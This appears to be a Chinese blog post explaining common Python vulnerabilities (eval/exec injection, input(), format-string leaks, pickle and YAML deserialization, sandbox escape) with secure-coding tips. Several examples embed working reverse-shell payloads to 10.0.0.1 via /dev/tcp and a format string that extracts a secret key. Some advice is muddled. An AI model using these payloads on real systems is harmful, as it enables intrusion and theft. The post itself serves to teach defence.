博客
关于我
Python开发常见漏洞
阅读量:585 次
发布时间:2019-03-11

本文共 2368 字,大约阅读时间需要 7 分钟。

Python编程安全

1.危险函数

在Python中,一些函数如果不当使用,可能会导致严重的安全问题。以下是三个常见的危险函数及其潜在风险:

1.1 eval

eval 函数能够将字符串作为代码执行,这使得它非常危险。攻击者可以通过构造恶意字符串,绕过身份验证或执行恶意操作。

示例:

eval('1+1')  # 返回 2
def addition(a, b):    return eval("%s + %s" % (a, b))result = addition(request.json['a'], request.json['b'])
{    "a": "__import__('os').system('bash -i > /dev/tcp/10.0.0.1/8080 0>&1')#",    "b": "2"}

上述输入会通过 os.system() 调用,绑定一个反向 shell。

1.2 exec

exec 函数与 eval 类似,直接执行字符串代码,同样存在严重安全隐患。

示例:

def addition(a, b):    return exec("%s + %s" % (a, b))

1.3 input

在 Python 2 中,input() 函数可以直接读取用户输入,且不进行任何类型验证。攻击者可以通过构造输入,绕过认证或导致其他安全问题。

示例:

user_pass = get_user_pass("admin")if user_pass == input("Please enter your password"):    login()else:    print("Password is incorrect!")

攻击者可以输入 user_pass 作为变量名,导致 if user_pass == user_pass 为真,伪造认证。

2.字符串格式化

str.format()format() 函数可以通过构造格式字符串,访问程序内的私有数据或执行恶意操作。

示例:

CONFIG = {    "API_KEY": "xxxxxxxxxxxxxxxxxxxxx"}class Person(object):    def __init__(self, name):        self.name = namedef print_nametag(format_string, person):    return format_string.format(person=person)new_person = Person("Pxiaoer")print_nametag(input("Please format your nametag!"), new_person)
print_nametag("{person.__init__.__globals__[CONFIG][API_KEY]}", new_person)

上述代码会泄露 API_KEY

3.反序列化

3.1 Pickle

Pickle 是 Python 的序列化工具,但由于它不提供加密或验证机制,反序列化可以导致身份验证绕过或代码执行。

示例:

class Malicious:    def __reduce__(self):        return (os.system, ('bash -i > /dev/tcp/10.0.0.1/8080 0>&1',))fake_object = Malicious()session_cookie = base64.b64encode(pickle.dumps(fake_object))

反序列化时会执行 os.system,绑定一个反向 shell。

3.2 YAML 解析

YAML 解析也存在安全隐患,攻击者可以构造恶意 YAML 文件,绕过访问控制或执行代码。

示例:

!!python/object/apply:os.system ["bash -i > /dev/tcp/10.0.0.1/8080 0>&1"]

4.沙箱逃逸

在受限的沙箱环境中,攻击者可以通过调用特定函数(如 os.system, subprocess.call 等)获取更多权限。

示例:

import osimport subprocessimport commandsos.system('ifconfig')os.popen('ifconfig')commands.getoutput('ifconfig')commands.getstatusoutput('ifconfig')subprocess.call(['ifconfig'], shell=True)

攻击者可以通过这些函数直接执行 shell 命令。

5.安全编码规范

5.1 Web 编程

  • Flask 安全:使用 Flask-Security,避免直接生成 HTML,正确处理输入数据。
  • Django 安全:配置安全中间件,启用 HSTS 和 HTTPS,妥善存储秘密键。
  • XSS:避免直接在响应中拼接用户输入,使用安全渲染函数。
  • CSRF:使用 Django 的 csrf 中间件保护重要操作。
  • 命令注入:避免使用 os.system 等直接执行 shell 命令,使用 shutil.rmtree 等安全函数。
  • 文件操作:限制文件下载和上传,防止目录穿越。

5.2 审计工具

  • 使用工具如 logrotateauditd 定期审计日志和配置文件。

6.参考文章

你可能感兴趣的文章
netron工具简单使用
查看>>
NetScaler MPX Gateway Configuration
查看>>
NetScaler的常用配置
查看>>
netsh advfirewall
查看>>
NETSH WINSOCK RESET这条命令的含义和作用?
查看>>
netstat kill
查看>>
netstat命令用法详解
查看>>
Netstat端口占用情况
查看>>
Netty 4的内存管理:sun.misc.Unsafe
查看>>
Netty channelRegistered\ChannelActive---源码分析
查看>>
Netty NIO transport && OIO transport
查看>>
Netty WebSocket客户端
查看>>
netty 主要组件+黏包半包+rpc框架+源码透析
查看>>
Netty 异步任务调度与异步线程池
查看>>
netty——黏包半包的解决方案、滑动窗口的概念
查看>>
Netty中使用WebSocket实现服务端与客户端的长连接通信发送消息
查看>>
Netty中实现多客户端连接与通信-以实现聊天室群聊功能为例(附代码下载)
查看>>
Netty中的组件是怎么交互的?
查看>>
Netty中集成Protobuf实现Java对象数据传递
查看>>
netty之 定长数据流处理数据粘包问题
查看>>